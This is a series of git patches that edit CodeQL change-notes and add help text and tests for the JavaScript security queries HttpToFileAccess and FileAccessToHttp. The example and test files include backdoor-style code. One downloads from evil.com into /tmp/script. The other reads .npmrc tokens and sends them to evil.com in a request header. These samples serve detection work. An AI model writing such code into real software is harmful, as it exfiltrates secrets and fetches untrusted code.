results | Any return statements that are unreachable are now ignored. | | Resource not released in destructor (`cpp/resource-not-released-in-destructor`) | Fewer false positive results | No longer highlights uses of C++ _placement new_ and results are no longer reported for resources where the destructor body is not in the snapshot database. | | Self comparison (`cpp/comparison-of-identical-expressions`) | Fewer false positive results | Code inside macro invocations is now excluded from the query. | | Static array access may cause overflow (`cpp/static-buffer-overflow`) | More correct results | Data flow to the `size` argument of a buffer operation is now checked in this query. | | Suspicious add with sizeof (`cpp/suspicious-add-sizeof`) | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from results. | -| Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. Non-LGTM | | Unsigned comparison to zero (`cpp/unsigned-comparison-zero`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | | Variable scope too large (`TODO`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. | | Wrong type of arguments to formatting function (`cpp/wrong-type-format-argument`) | Fewer false positive results | False positive results involving `typedef`s have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | +## Changes to other queries + +| **Query** | **Expected impact** | **Change** | +|----------------------------|------------------------|------------------------------------------------------------------| +| Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. | +| AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. | +| Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. | +| Global could be static (`TODO`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. | +| Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. | +| Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. | +| Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. | + ## Changes to QL libraries * New hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value. From a9ad9399f5c2d0e9df4fd83aae12059b5c3b0826 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 16:55:00 +0000 Subject: [PATCH 14/25] Add a couple more missing identifiers --- change-notes/1.19/analysis-cpp.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index fa1c6efe22d..f8723f1de5f 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -7,8 +7,8 @@ | Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Results are shown on LGTM by default. | | Cast from `char*` to `wchar_t*` (`cpp/incorrect-string-type-conversion`) | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Results are shown on LGTM by default. | | Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Results are shown on LGTM by default. | -| Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | Detects `for` loops where the increment and guard condition don't appear to correspond. Results are shown on LGTM by default. | -| Incorrect Not Operator Usage | security, external/cwe/cwe-480 | Finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Results are hidden on LGTM by default. | +| Inconsistent direction of for loop (`cpp/inconsistent-loop-direction`) | correctness, external/cwe/cwe-835 | Detects `for` loops where the increment and guard condition don't appear to correspond. Results are shown on LGTM by default. | +| Incorrect Not Operator Usage (`cpp/incorrect-not-operator-usage`) | security, external/cwe/cwe-480 | Finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Results are hidden on LGTM by default. | | Non-virtual destructor in base class (`cpp/virtual-destructor`) | reliability, readability, language-features | This query, `NonVirtualDestructorInBaseClass.ql`, is a replacement in LGTM for the query: No virtual destructor (`AV Rule 78.ql`). The new query ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query identifier, `cpp/virtual-destructor`, and results are displayed by default on LGTM. The old query is no longer run on LGTM. | | `NULL` application name with an unquoted path in call to `CreateProcess` (`cpp/unsafe-create-process-call`) | security, external/cwe/cwe-428 | Finds unsafe uses of the `CreateProcess` function. Results are hidden on LGTM by default. | | Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | Finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Results are shown on LGTM by default. | From d63b5ac1bd4ae1f4ba43c2feedd9dc75f7570876 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 17:32:27 +0000 Subject: [PATCH 15/25] Updates for consistency --- change-notes/1.19/analysis-java.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/change-notes/1.19/analysis-java.md b/change-notes/1.19/analysis-java.md index e9594966b6e..13b9366aada 100644 --- a/change-notes/1.19/analysis-java.md +++ b/change-notes/1.19/analysis-java.md @@ -2,24 +2,26 @@ ## General improvements -* Where applicable, path explanations have been added to the security queries. +Path explanations have been added to the relevant security queries. +Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html) +to run queries and explore the data flow in results. ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. | -| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. | +| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. Results are shown on LGTM by default. | +| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. Results are hidden on LGTM by default. | ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| -| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | False positives involving arrays with a length evenly divisible by 3 or some greater number and an index being increased with a similar stride length are no longer reported. | -| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A bugfix in the inheritance relation ensures that spurious results on certain generic classes no longer occur. | -| Query built from user-controlled sources (`java/sql-injection`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | -| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | -| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | This rule now accounts for calls to generic methods that throw generic exceptions. | +| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | Results for arrays with a length evenly divisible by 3, or some greater number, and an index being increased with a similar stride length are no longer reported. | +| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A correction to the inheritance relation ensures that spurious results on certain generic classes no longer occur. | +| Query built from user-controlled sources (`java/sql-injection`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | +| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | +| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | Now accounts for calls to generic methods that throw generic exceptions. | | Useless comparison test (`java/constant-comparison`) | Fewer false positive results | Constant comparisons guarding `java.util.ConcurrentModificationException` are no longer reported, as they are intended to always be false in the absence of API misuse. | ## Changes to QL libraries @@ -27,6 +29,6 @@ * The default set of taint sources in the `FlowSources` library is extended to cover parameters annotated with Spring framework annotations indicating remote user input from servlets. This affects all security queries, which - will yield additional results on projects using the Spring Web framework. + will yield additional results on projects that use the Spring Web framework. * The `ParityAnalysis` library is replaced with the more general `ModulusAnalysis` library, which improves the range analysis. From a144fe8a07d00b238cc4c2f7c1c6806bd9fc7f16 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 17:40:09 +0000 Subject: [PATCH 16/25] Update with missing ids and move one query --- change-notes/1.19/analysis-cpp.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index f8723f1de5f..61c02ca49b2 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -29,7 +29,6 @@ | Static array access may cause overflow (`cpp/static-buffer-overflow`) | More correct results | Data flow to the `size` argument of a buffer operation is now checked in this query. | | Suspicious add with sizeof (`cpp/suspicious-add-sizeof`) | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from results. | | Unsigned comparison to zero (`cpp/unsigned-comparison-zero`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | -| Variable scope too large (`TODO`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. | | Wrong type of arguments to formatting function (`cpp/wrong-type-format-argument`) | Fewer false positive results | False positive results involving `typedef`s have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | ## Changes to other queries @@ -39,10 +38,11 @@ | Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. | | AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. | | Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. | -| Global could be static (`TODO`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. | +| Global could be static (`cpp/jpl-c/limited-scope-file` and `cpp/power-of-10/global-could-be-static`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. | | Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. | | Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. | | Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. | +| Variable scope too large (`cpp/jpl-c/limited-scope-function` and `cpp/power-of-10/variable-scope-too-large`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. | ## Changes to QL libraries From f64bfb5caf76aed3190092d255c4f15c087208d2 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 17:43:19 +0000 Subject: [PATCH 17/25] Remove template text, sort rows --- change-notes/1.19/analysis-csharp.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/change-notes/1.19/analysis-csharp.md b/change-notes/1.19/analysis-csharp.md index a35935aee40..c875fcdcd46 100644 --- a/change-notes/1.19/analysis-csharp.md +++ b/change-notes/1.19/analysis-csharp.md @@ -10,15 +10,14 @@ | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Using a package with a known vulnerability (cs/use-of-vulnerable-package) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. This is included by default. | -| Uncontrolled format string (cs/uncontrolled-format-string) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. This is included by default. | +| Uncontrolled format string (`cs/uncontrolled-format-string`) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. This is included by default. | +| Using a package with a known vulnerability `(`cs/use-of-vulnerable-package`) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. This is included by default. | ## Changes to existing queries +| Cross-site scripting (`cs/web/xss`) | More results | This query now finds cross-site scripting vulnerabilities in ASP.NET Core applications. | | Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | This query now finds inconsistent lock sequences globally across calls. | | Local scope variable shadows member (`cs/local-shadows-member`) | Fewer results | Results have been removed where a constructor parameter shadows a member, because the parameter is probably used to initialize the member. | -| Cross-site scripting (`cs/web/xss`) | More results | This query now finds cross-site scripting vulnerabilities in ASP.NET Core applications. | -| *@name of query (Query ID)*| *Impact on results* | *How/why the query has changed* | ## Changes to code extraction From d3baa8917ebdcf2e9f8d47887edcdbe8130d1ceb Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Wed, 5 Dec 2018 09:44:59 +0000 Subject: [PATCH 18/25] Prepare for publication --- change-notes/1.19/analysis-csharp.md | 35 +++++++++++++++++----------- 1 file changed, 22 insertions(+), 13 deletions(-) diff --git a/change-notes/1.19/analysis-csharp.md b/change-notes/1.19/analysis-csharp.md index c875fcdcd46..1c2f0dce4f3 100644 --- a/change-notes/1.19/analysis-csharp.md +++ b/change-notes/1.19/analysis-csharp.md @@ -2,33 +2,42 @@ ## General improvements -* Control flow graph improvements: - * The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead. - * Code that is only reachable from a constant failing assertion, such as `Debug.Assert(false)`, is considered to be unreachable. +### Changes to the autobuilder + +During code extraction, when determining the target of `msbuild` or `dotnet build`, the autobuilder now looks for: + +* `.proj` files, +* then `.sln` files, +* and finally `.csproj`/`.vcxproj` files. + +In all three cases, when multiple files of the same type are found, the project/solution file closest to the root is used to build the project. + +### Control flow graph improvements + +* The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect the fact that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead. +* Code that is only reachable from a constant failing assertion, such as `Debug.Assert(false)`, is considered to be unreachable. ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Uncontrolled format string (`cs/uncontrolled-format-string`) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. This is included by default. | -| Using a package with a known vulnerability `(`cs/use-of-vulnerable-package`) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. This is included by default. | +| Uncontrolled format string (`cs/uncontrolled-format-string`) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. Results are shown on LGTM by default. | +| Using a package with a known vulnerability (`cs/use-of-vulnerable-package`) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. Results are shown on LGTM by default. | ## Changes to existing queries -| Cross-site scripting (`cs/web/xss`) | More results | This query now finds cross-site scripting vulnerabilities in ASP.NET Core applications. | -| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | This query now finds inconsistent lock sequences globally across calls. | +| **Query** | **Expected impact** | **Change** | +|----------------------------|------------------------|------------------------------------------------------------------| +| Cross-site scripting (`cs/web/xss`) | More results | Finds cross-site scripting vulnerabilities in ASP.NET Core applications. | +| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | Finds inconsistent lock sequences globally across calls. | | Local scope variable shadows member (`cs/local-shadows-member`) | Fewer results | Results have been removed where a constructor parameter shadows a member, because the parameter is probably used to initialize the member. | ## Changes to code extraction * Arguments passed using `in` are now extracted. -* Fix a bug where the `dynamic` type name was not extracted correctly in certain circumstances. +* Fixed a bug where the `dynamic` type name was not extracted correctly in certain circumstances. ## Changes to QL libraries * `getArgument()` on `AccessorCall` has been improved so it now takes tuple assignments into account. For example, the argument for the implicit `value` parameter in the setter of property `P` is `0` in `(P, x) = (0, 1)`. Additionally, the argument for the `value` parameter in compound assignments is now only the expanded value, for example, in `P += 7` the argument is `P + 7` and not `7`. -* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in`. - -## Changes to the autobuilder - -* When determining the target of `msbuild` or `dotnet build`, first look for `.proj` files, then `.sln` files, and finally `.csproj`/`.vcxproj` files. In all three cases, choose the project/solution file closest to the root. +* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in` From 92c1e655dd48a0c883f01e445023b10d086efb73 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 5 Dec 2018 12:58:38 +0000 Subject: [PATCH 19/25] JavaScript: Add query help for `HttpToFileAccess` query. --- .../Security/CWE-912/HttpToFileAccess.qhelp | 42 +++++++++++++++++++ .../src/Security/CWE-912/HttpToFileAccess.ql | 1 + .../CWE-912/examples/HttpToFileAccess.js | 8 ++++ .../CWE-912/HttpToFileAccess.expected | 4 ++ .../Security/CWE-912/HttpToFileAccess.js | 8 ++++ .../Security/CWE-912/fs-writeFile-externs.js | 13 +++--- 6 files changed, 70 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp create mode 100644 javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js diff --git a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp new file mode 100644 index 00000000000..5d396a0718d --- /dev/null +++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp @@ -0,0 +1,42 @@ + + + + +

+ Storing user-controlled data on the local file system without + further validation allows arbitrary file upload, and may be + an indication of malicious backdoor code that has been + implanted into an otherwise trusted code base. +

+ + + +

+ Examine the highlighted code closely to ensure that it is + behaving as intended. +

+ + + +

+ The following example shows backdoor code that downloads data + from the URL https://evil.com/script, and stores + it in the local file /tmp/script. +

+ + + +

+ Other parts of the program might then assume that since + /tmp/script is a local file its contents can be + trusted, while in fact they are obtained from an untrusted + remote source. +

+ + + +
  • OWASP: Unrestricted File Upload.
    • +     +     diff --git a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql index fe42fe8ef04..8b374e5bea4 100644 --- a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql +++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql @@ -6,6 +6,7 @@ * @id js/http-to-file-access * @tags security * external/cwe/cwe-912 + * external/cwe/cwe-434 */ import javascript diff --git a/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js b/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js new file mode 100644 index 00000000000..ed19e6b547f --- /dev/null +++ b/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js @@ -0,0 +1,8 @@ +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }) +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected index 05b6a4a0849..293336b47f9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected @@ -1,15 +1,19 @@ nodes +| HttpToFileAccess.js:5:18:5:18 | d | +| HttpToFileAccess.js:6:37:6:37 | d | | tst.js:15:26:15:26 | c | | tst.js:16:33:16:33 | c | | tst.js:19:25:19:25 | c | | tst.js:23:27:23:26 | c | | tst.js:24:22:24:22 | c | edges +| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | | tst.js:15:26:15:26 | c | tst.js:23:27:23:26 | c | | tst.js:23:27:23:26 | c | tst.js:24:22:24:22 | c | #select +| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | $@ flows to file system | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data | | tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | | tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data | diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js new file mode 100644 index 00000000000..77645d0f3ac --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js @@ -0,0 +1,8 @@ +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }); +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js b/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js index 93059a72cdd..0e499b691af 100644 --- a/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js +++ b/javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js @@ -35,7 +35,7 @@ * @externs * @fileoverview Definitions for module "fs" */ - var fs = {}; +var fs = {}; /** * @param {string} filename @@ -44,7 +44,8 @@ * @return {void} */ fs.writeFile = function(filename, data, callback) {}; - /** + +/** * @param {string} filename * @param {*} data * @param {{encoding: string, mode: number, flag: string}} options @@ -52,11 +53,11 @@ fs.writeFile = function(filename, data, callback) {}; * @return {void} */ fs.writeFile = function(filename, data, options, callback) {}; - /** + +/** * @param {string} filename * @param {*} data - * @param {{encoding: string, mode: string, flag: string}} options - * @param {(function(NodeJS.ErrnoException): void)=} callback + * @param {{encoding: string, mode: string, flag: string}=} options * @return {void} */ -fs.writeFile = function(filename, data, options, callback) {}; +fs.writeFileSync = function(filename, data, options) {}; From 22502e7a10e758fd4dd732cbf323bf30f873d968 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 5 Dec 2018 13:09:27 +0000 Subject: [PATCH 20/25] JavaScript: Add query help for `FileAccessToHttp` query. --- .../Security/CWE-200/FileAccessToHttp.qhelp | 36 +++++++++++++++++++ .../CWE-200/examples/FileAccessToHttp.js | 10 ++++++ .../CWE-200/FileAccessToHttp.expected | 10 ++++++ .../Security/CWE-200/FileAccessToHttp.js | 10 ++++++ 4 files changed, 66 insertions(+) create mode 100644 javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp create mode 100644 javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js diff --git a/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp new file mode 100644 index 00000000000..5a59207146d --- /dev/null +++ b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp @@ -0,0 +1,36 @@ + + + + +

    + Sending local file system data to a remote URL without further + validation risks uncontrolled information exposure, and may be + an indication of malicious backdoor code that has been + implanted into an otherwise trusted code base. +

    +     + + +

    + Examine the highlighted code closely to ensure that it is + behaving as intended. +

    +     + + +

    + The following example is adapted from backdoor code that was identified in two + popular npm packages. It reads the contents of the .npmrc file + (which may contain secret npm tokens) and sends it to a remote server by + embedding it into an HTTP request header. +

    + +     + + +
  • ESLint Blog: Postmortem for Malicious Packages Published on July 12th, 2018.
    • +
  • OWASP: Sensitive Data Exposure.
    • +     +     diff --git a/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js b/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js new file mode 100644 index 00000000000..4509c3c6cc7 --- /dev/null +++ b/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js @@ -0,0 +1,10 @@ +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index eaabdbaf5d2..bd30250efeb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,4 +1,9 @@ nodes +| FileAccessToHttp.js:4:5:4:47 | content | +| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | +| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | +| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | +| FileAccessToHttp.js:9:23:9:29 | content | | bufferRead.js:12:13:12:43 | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | | bufferRead.js:13:53:13:52 | buffer | @@ -53,6 +58,10 @@ nodes | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | | sentAsHeaders.js:24:47:24:53 | content | edges +| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content | +| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | +| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | +| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | | bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer | @@ -100,6 +109,7 @@ edges | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } | | sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | #select +| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data | | bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data | | googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data | | readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js new file mode 100644 index 00000000000..4509c3c6cc7 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -0,0 +1,10 @@ +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); From a1f210df67bcfd03ddc26123194ff06f5c49cefa Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Wed, 5 Dec 2018 14:10:06 +0000 Subject: [PATCH 21/25] JavaScript: Address review comments. --- javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp | 1 + javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp | 1 + 2 files changed, 2 insertions(+) diff --git a/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp index 5a59207146d..6b4cb30de37 100644 --- a/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp +++ b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp @@ -32,5 +32,6 @@
  • ESLint Blog: Postmortem for Malicious Packages Published on July 12th, 2018.
  • OWASP: Sensitive Data Exposure.
    • +
  • OWASP: Trojan Horse.
    •  diff --git a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp index 5d396a0718d..22962ac620d 100644 --- a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp +++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp @@ -37,6 +37,7 @@ +
  • OWASP: Trojan Horse.
  • OWASP: Unrestricted File Upload.
